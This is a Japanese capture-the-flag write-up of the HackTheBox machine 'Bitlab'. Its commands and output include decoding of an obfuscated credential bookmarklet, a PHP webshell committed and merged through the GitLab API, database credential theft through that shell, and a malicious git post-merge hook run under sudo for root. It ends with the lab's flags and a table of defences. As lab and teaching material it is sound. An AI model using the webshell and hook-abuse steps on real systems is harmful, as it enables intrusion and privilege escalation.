HackTheBox: Bitlab — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (GitLab CE)
→
22/80 (GitLab CE)
/help/bookmarks.html
難読化ブックマークレット
→
難読化ブックマークレット
GitLabログイン
clave:11des0081x
→
clave:11des0081x
profile リポジトリへ
shell.php をマージdeployer Webhookが自動デプロイ
→
shell.php をマージdeployer Webhookが自動デプロイ
www-data RCE
→
PostgreSQL profiles表
claveのSSHパスワード
→
claveのSSHパスワード
SSH clave
user.txt ✓
→
user.txt ✓
NOPASSWD sudo git pull
悪意あるpost-mergeフック
→
悪意あるpost-mergeフック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.63.246
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx | http-title: Sign in · GitLab |_Requested resource was http://10.129.63.246/users/sign_in | http-robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit
ℹ️
ポート80はGitLab CEのサインインページへリダイレクトする。
robots.txtには
GitLab標準の「クロールされたくないパス」が並んでおり、その中の
/profile と /help が後の調査で重要になる。
PHASE 2
難読化ブックマークレットからの資格情報漏洩
/help ディレクトリの発見
BASH
gobuster dir -w directory-list-2.3-medium.txt -u http://10.129.63.246/ -t 100 -s 200 -f
RESULT
/help/ (Status: 200)
/profile/ (Status: 200)
/search/ (Status: 200)
/public/ (Status: 200)
ℹ️
GitLabは未認証アクセスをすべてログインページへリダイレクトするため
-s 200(200のみ表示)でフィルタする必要がある。
/profile/にアクセスすると、後述するデプロイ済みの
“profile” プロジェクトのWebページ(Claveのプロフィール)がすでに
表示される — GitLab自身のプロフィール設定ページではない点に注意。
bookmarks.html からブックマークレットを発見
BASH
curl -s http://10.129.63.246/help/bookmarks.html
RESULT (抜粋)
<DT><A HREF="javascript:(function(){ var _0x4b18=[
"\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()">Gitlab Login</A>
🚨
“Gitlab Login” という名前のブラウザブックマークレットが仕込まれている。
中身はhexエスケープされた文字列配列を数値インデックスで参照する典型的な
JS難読化。
document[arr[2]](arr[1])[arr[0]] = arr[3] は
document.getElementById("user_login").value = "clave"
と等価。
難読化コードをデコード
PYTHON
import re, json
arr_raw = '["\\x76\\x61\\x6C\\x75\\x65","\\x75\\x73\\x65\\x72\\x5F\\x6C\\x6F\\x67\\x69\\x6E",' \
'"\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64","\\x63\\x6C\\x61\\x76\\x65",' \
'"\\x75\\x73\\x65\\x72\\x5F\\x70\\x61\\x73\\x73\\x77\\x6F\\x72\\x64","\\x31\\x31\\x64\\x65\\x73\\x30\\x30\\x38\\x31\\x78"]'
decoded = re.sub(r'\\\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), arr_raw)
array = json.loads(decoded)
print(array)
# document[arr[2]](arr[1])[arr[0]] = arr[3] -> creds[array[1]] = array[3]
# document[arr[2]](arr[4])[arr[0]] = arr[5] -> creds[array[4]] = array[5]
print({"user_login": array[3], "user_password": array[5]})
RESULT
['value', 'user_login', 'getElementById', 'clave', 'user_password', '11des0081x']
{'user_login': 'clave', 'user_password': '11des0081x'}
✅
GitLabログイン資格情報を取得:
clave:11des0081x
PHASE 3
GitLabログイン & リポジトリ偵察
セッションCookieでログイン
PYTHON
import requests, re
sess = requests.Session()
r = sess.get("http://10.129.63.246/users/sign_in")
token = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
sess.post("http://10.129.63.246/users/sign_in", data={
"user[login]": "clave", "user[password]": "11des0081x",
"user[remember_me]": "0", "authenticity_token": token,
})
RESULT
ログイン成功 (dashboardへリダイレクト)
ℹ️
ログイン後、
Administrator / Profile(Developer権限)と
Administrator / Deployer(Reporter権限)の2リポジトリが見える。
Web IDEでスニペットを確認すると、PostgreSQL接続情報を含むPHPスクリプトが
公開されている(host=localhost dbname=profiles user=profiles
password=profiles)。
deployer リポジトリのWebhook実装を確認
RESULT (deployer/index.php)
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
🚨
決定的な発見:
profileリポジトリの
masterブランチへマージリクエストがマージされると、この
Webhookがsudo git pullを自動実行し
/var/www/html/profileへ即座にデプロイする
(CI/CDのつもりで作られた設定不備)。任意のファイルをprofileリポジトリの
masterへマージするだけで、Webサーバー上へ配置・実行できる。
重要な罠: GitLab自身の /profile 設定ページは恒久的に到達不能
BASH
curl -s -i http://10.129.63.246/profile/personal_access_tokens \ -b "session cookie付き"
RESULT
HTTP/1.1 404 Not Found
Server: Apache/2.4.29
Content-Type: text/html; charset=iso-8859-1
<title>404 Not Found</title>
<p>The requested URL /profile/personal_access_tokens was not found on this server.</p>
🚨
重要な罠: レスポンスヘッダーが
Server: nginx
(GitLab側)ではなくServer: Apacheであることに注目。
profileリポジトリが常時/var/www/html/profileへ
デプロイ済みの状態で稼働しており、別のApacheバックエンドが
/profileパス配下”全体”を横取りして配信しているため、
GitLab自身のユーザー設定ページ(Personal Access Token発行画面を含む)は
このボックスでは恒久的に到達不能。
/api/v4/...をPersonal Access Tokenで叩く定番の自動化手法は
使えない。
✅
回避策: GitLabのフロントエンドJS自体が内部的に
/api/v4/...を叩く際と同じ認証方式 —
ログインセッションCookie + 任意の認証済みページから取得した
CSRF token(<meta name="csrf-token">)を
X-CSRF-Tokenヘッダーに付与 — を使えば、
Personal Access Tokenなしで/api/v4/...への
ファイルコミット・マージリクエスト作成・マージがすべて可能。
PHASE 4
マージリクエスト経由 Webhook RCE → user.txt
shell.php をブランチ作成 → コミット → マージリクエスト → マージ
PYTHON
# CSRF token を認証済みページから取得
r = sess.get("http://10.129.63.246/root/profile")
csrf = re.search(r'<meta name="csrf-token" content="([^"]+)"', r.text).group(1)
headers = {"X-CSRF-Token": csrf}
project_id = 2 # profile
# 1) 新規ブランチへファイルをコミット
branch = f"add-shell-{int(time.time())}"
sess.post(f"http://10.129.63.246/api/v4/projects/{project_id}/repository/files/shell.php",
json={"branch": branch, "start_branch": "master",
"content": "<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>",
"commit_message": "add helper script"},
headers=headers)
# 2) マージリクエスト作成
r2 = sess.post(f"http://10.129.63.246/api/v4/projects/{project_id}/merge_requests",
json={"source_branch": branch, "target_branch": "master",
"title": "add helper script", "remove_source_branch": True},
headers=headers)
mr_iid = r2.json()["iid"]
# 3) マージ (deployer Webhookが即座に発火)
sess.put(f"http://10.129.63.246/api/v4/projects/{project_id}/merge_requests/{mr_iid}/merge",
headers=headers)
RESULT
file create: 201 MR create: 201 (iid=7) merge: 200 (state: "merged")
webshell経由RCE確認
BASH
curl -s "http://10.129.63.246/profile/shell.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! マージ完了から数秒でdeployer Webhookが
自動的に
sudo git pullを実行し、shell.phpがWebルートへ
反映された。
PostgreSQLからclaveのSSHパスワードを取得
BASH
PG_SCRIPT='<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>'
B64=$(echo "$PG_SCRIPT" | base64 -w0)
curl -s -G --data-urlencode "cmd=echo $B64 | base64 -d > /tmp/.bl_pg.php" \
"http://10.129.63.246/profile/shell.php"
curl -s -G --data-urlencode "cmd=php -f /tmp/.bl_pg.php" \
"http://10.129.63.246/profile/shell.php"
RESULT
Array
(
[0] => Array
(
[id] => 1
[username] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
)
)
ℹ️
PostgreSQLはDockerコンテナ内で稼働しclientバイナリが無いため、
webshell経由で
pg_connect/pg_queryを使う
PHPスクリプトを実行してデータを取り出す。値は
c3NoLXN0cjBuZy1wQHNz==という一見base64風の文字列だが、
これ自体がそのままSSHログインパスワードとして機能する
(末尾の==を含めてリテラルにそのまま使う)。
SSHログイン & user.txt取得
BASH
sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh clave@10.129.63.246 "id; cat ~/user.txt"
RESULT
uid=1000(clave) gid=1000(clave) groups=1000(clave)
a3c11917ae6a08799976e3421b29b356
user.txt — clave
a3c11917ae6a08799976e3421b29b356
PHASE 5
権限昇格の下調べ — NOPASSWD sudo git pull
www-data の sudo 権限確認
BASH
curl -s -G --data-urlencode "cmd=sudo -l" "http://10.129.63.246/profile/shell.php"
RESULT
Matching Defaults entries for www-data on bitlab:
env_reset, exempt_group=sudo, mail_badpass, secure_path=...
User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull
🚨
決定的な発見:
www-dataは任意のディレクトリで
sudo git pullをパスワードなしでroot権限実行できる
(カレントディレクトリの制限なし)。deployer Webhookがマージ時に
まさにこのコマンドをshell_exec()していたことを思い出すと、これは
意図的に開けられた権限設定と分かる。
ℹ️
git pullにはユーザー制御可能なgitフック
(.git/hooks/post-merge)を悪用する経路がある。
Webhookと同様、post-mergeフックはgit pull
(内部的にgit mergeを伴う)が完了すると自動実行される。
sudo git pullで実行させれば、そのフックはroot権限で
動作する。
PHASE 6
悪意ある post-merge フック → root.txt
profileリポジトリを/tmpへコピーし悪意あるフックを設置
BASH
curl -s -G --data-urlencode \ "cmd=rm -rf /tmp/.bl; mkdir -p /tmp/.bl; cp -r /var/www/html/profile /tmp/.bl/profile" \ "http://10.129.63.246/profile/shell.php" HOOK='#!/bin/bash cp /root/root.txt /tmp/.bl_root 2>/dev/null chmod 644 /tmp/.bl_root 2>/dev/null' B64=$(echo "$HOOK" | base64 -w0) curl -s -G --data-urlencode \ "cmd=echo $B64 | base64 -d > /tmp/.bl/profile/.git/hooks/post-merge" \ "http://10.129.63.246/profile/shell.php" curl -s -G --data-urlencode "cmd=chmod +x /tmp/.bl/profile/.git/hooks/post-merge" \ "http://10.129.63.246/profile/shell.php"
ℹ️
Webルート配下(
/var/www/html/profile)を直接改変するのではなく
/tmpへコピーしたリポジトリで作業する。こうすることで
Webhook本体のsudo git pull(root権限)とは別に、
www-data自身のsudo git pull実行(このコピーに対して)を
独立して制御できる。post-mergeフックはroot.txtを世界読み取り可能な
一時ファイルへコピーするだけに留め、危険なリバースシェルは開かない
(低リスクな抽出パターン)。
リモートmasterへ新規コミットをマージし pull 対象を作る
PYTHON
# Phase4と同じ手順でGitLab APIを使い、profileリポジトリのmasterへ
# 新規ファイルをマージし、リモートに新しいコミットを作る
# (ローカル/tmpコピーの HEAD より進んだコミットが無いと git pull が
# fast-forward するものが無く、post-mergeフックが発火しないため必須)
branch = f"trigger-{int(time.time())}"
sess.post(f".../repository/files/root_trigger.txt",
json={"branch": branch, "start_branch": "master",
"content": "trigger\n", "commit_message": "trigger pull"}, headers=headers)
r8 = sess.post(f".../merge_requests",
json={"source_branch": branch, "target_branch": "master",
"title": "trigger pull", "remove_source_branch": True}, headers=headers)
mr_iid = r8.json()["iid"]
sess.put(f".../merge_requests/{mr_iid}/merge", headers=headers)
RESULT
file create: 201 MR create: 201 (iid=8) merge: 200
sudo git pull → post-merge フックがroot権限で発火
BASH
curl -s -G --data-urlencode "cmd=cd /tmp/.bl/profile && sudo git pull 2>&1" \ "http://10.129.63.246/profile/shell.php"
RESULT
From ssh://localhost:3022/root/profile
838538f..3afc7d2 master -> origin/master
Updating 838538f..3afc7d2
Fast-forward
root_trigger.txt | 1 +
1 file changed, 1 insertion(+)
create mode 100644 root_trigger.txt
✅
Fast-forwardマージが発生 = post-mergeフックが発火!
sudo git pullはroot権限で実行されているため、フック内の
cp /root/root.txt /tmp/.bl_rootもroot権限で動作する。
root.txt取得
BASH
curl -s -G --data-urlencode "cmd=cat /tmp/.bl_root" \ "http://10.129.63.246/profile/shell.php"
RESULT
29251212ed55eda5ad780380b3279938
root.txt — root@bitlab
29251212ed55eda5ad780380b3279938
ℹ️
公式ウォークスルーの本筋は、clave のホームにある
RemoteConnection.exe(Windows PEバイナリ)をGhidraで
静的解析し(GetUserNameWで”clave”と比較→一致時のみ
ShellExecuteWでputty.exeを起動)、x32dbgで
jne→jeにパッチしてユーザー名チェックを
バイパス、ShellExecuteWのブレークポイントでスタック上の
平文引数(-ssh root@gitlab.htb -pw "<password>")から
rootパスワードを窃取する手法。GUIデバッガ操作が必要なため、本レポートは
ウォークスルー内の”Alternate method”(sudo git pull + gitフック悪用)を
採用した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — clave
a3c11917ae6a08799976e3421b29b356
root.txt — root@bitlab
29251212ed55eda5ad780380b3279938
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 難読化ブックマークレット資格情報漏洩 | /help/bookmarks.html | GitLabログイン資格情報の平文取得 | High | hexエスケープ+数値インデックス参照のJS難読化を解読しclave:11des0081xを取得 |
| Webhook自動デプロイの設定不備 | deployer/index.php (sudo git pull実行) | リモートコード実行 (www-data) | Critical | Developer権限でprofileリポジトリへwebshellをマージ、Webhookが自動デプロイ |
| PostgreSQL平文パスワードの再利用 | profiles DB (localhost:5432) | 横展開 (www-data → clave) | Medium | スニペットで公開された接続情報でDBクエリ、claveのSSHパスワードを取得 |
| NOPASSWD sudo git pull + gitフック悪用 | /etc/sudoers (www-data) | 権限昇格 (www-data → root) | Critical | 悪意あるpost-mergeフックを設置し、root権限のgit pullで発火させroot.txtを窃取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/80、GitLab CEサインインページ |
| 2 | 資格情報漏洩 | gobuster + ブックマークレット解読 | GitLabログイン clave:11des0081x |
| 3 | GitLab偵察 | セッションログイン + リポジトリ調査 | deployer Webhookの脆弱性、/profileルート恒久遮断の発見 |
| 4 | Webhook RCE | API(セッション+CSRF) マージ + PostgreSQLクエリ | user.txt取得 (claveのSSHパスワード経由) |
| 5 | 権限調査 | sudo -l | NOPASSWD sudo git pull を発見 |
| 6 | 権限昇格 | 悪意あるpost-mergeフック + sudo git pull | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ブラウザブックマークにログイン資格情報を平文で埋め込んで公開ディレクトリに配置 | 資格情報をコード/設定/ブックマークへハードコードしない。共有端末・公開ディレクトリの 棚卸しを定期的に実施する。 |
| マージリクエストのマージをトリガーに任意のシェルコマンドを実行するWebhookを、 入力検証なしで実装 | Webhookのペイロード(プロジェクト名等)はユーザー制御可能な入力として扱い、 実行するコマンドを動的に組み立てない。CI/CDパイプラインは専用のサンドボックス環境で 実行する。 |
| アプリケーションのDB接続情報がコードスニペットとして閲覧可能な場所に公開 | 接続情報はシークレットマネージャで管理し、リポジトリ・スニペットへ平文で 含めない。 |
sudoersでカレントディレクトリ制限なしにgit pullをNOPASSWD許可、
gitフックの実行を考慮していない |
sudoで許可するコマンドは絶対パス指定の対象ディレクトリを限定する
(cd /specific/dir && git pullをラップするスクリプトのみ許可等)。
git設定でcore.hooksPathを信頼できる場所に固定する。 |

